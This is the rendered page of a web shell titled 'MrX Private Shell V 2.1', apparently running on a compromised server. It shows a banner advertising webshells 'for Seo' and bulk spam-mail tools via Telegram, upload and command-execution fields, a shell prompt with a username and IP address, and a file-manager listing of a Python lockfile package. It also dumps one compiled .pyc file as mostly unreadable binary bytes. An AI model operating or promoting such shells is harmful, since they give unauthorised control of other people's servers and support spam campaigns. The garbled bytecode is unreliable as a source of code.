__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.25: ~ $
3

�Pf\
�@sPddlmZddlZddlZddlmZmZmZmZm	Z	m
Z
Gdd�de�ZdS)�)�absolute_importN�)�LockBase�
LockFailed�	NotLocked�	NotMyLock�LockTimeout�
AlreadyLockedc@s:eZdZdZd
dd�Zdd�Zdd�Zd	d
�Zdd�ZdS)�LinkLockFilez�Lock access to a file using atomic property of link(2).

    >>> lock = LinkLockFile('somefile')
    >>> lock = LinkLockFile('somefile', threaded=False)
    NcCs"yt|jd�j�Wn"tk
r6td|j��YnX|dk	rD|n|j}tj�}|dk	rj|dkrj||7}x�ytj|j|j	�Wn�t
k
�rtj|j�j}|dkr�dS|dk	r�tj�|kr�tj
|j�|dkr�td|j��ntd|j��tj|dk	�r
|d�pd�YqlXdSqlWdS)	N�wbzfailed to create %sr�z&Timeout waiting to acquire lock for %sz%s is already locked�
g�������?)�open�unique_name�close�IOErrorr�timeout�time�os�link�	lock_file�OSError�stat�st_nlink�unlinkr�pathr	Zsleep)�selfrZend_timeZnlinks�r�"/usr/lib/python3.6/linklockfile.py�acquires0
$zLinkLockFile.acquirecCsP|j�std|j��ntjj|j�s4td|j��tj|j�tj|j�dS)Nz%s is not lockedz%s is locked, but not by me)	�	is_lockedrrr�existsrrrr)rrrr�release7szLinkLockFile.releasecCstjj|j�S)N)rrr!r)rrrrr ?szLinkLockFile.is_lockedcCs(|j�o&tjj|j�o&tj|j�jdkS)Nr)r rrr!rrr)rrrr�i_am_lockingBszLinkLockFile.i_am_lockingcCstjj|j�rtj|j�dS)N)rrr!rr)rrrr�
break_lockGszLinkLockFile.break_lock)N)	�__name__�
__module__�__qualname__�__doc__rr"r r#r$rrrrr

s
&r
)Z
__future__rrr�rrrrrr	r
rrrr�<module>s 

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 9.6 KB 0644
__init__.cpython-36.pyc File 9.6 KB 0644
linklockfile.cpython-36.opt-1.pyc File 2.16 KB 0644
linklockfile.cpython-36.pyc File 2.16 KB 0644
mkdirlockfile.cpython-36.opt-1.pyc File 2.51 KB 0644
mkdirlockfile.cpython-36.pyc File 2.51 KB 0644
pidlockfile.cpython-36.opt-1.pyc File 4.66 KB 0644
pidlockfile.cpython-36.pyc File 4.66 KB 0644
sqlitelockfile.cpython-36.opt-1.pyc File 3.58 KB 0644
sqlitelockfile.cpython-36.pyc File 3.58 KB 0644
symlinklockfile.cpython-36.opt-1.pyc File 2.04 KB 0644
symlinklockfile.cpython-36.pyc File 2.04 KB 0644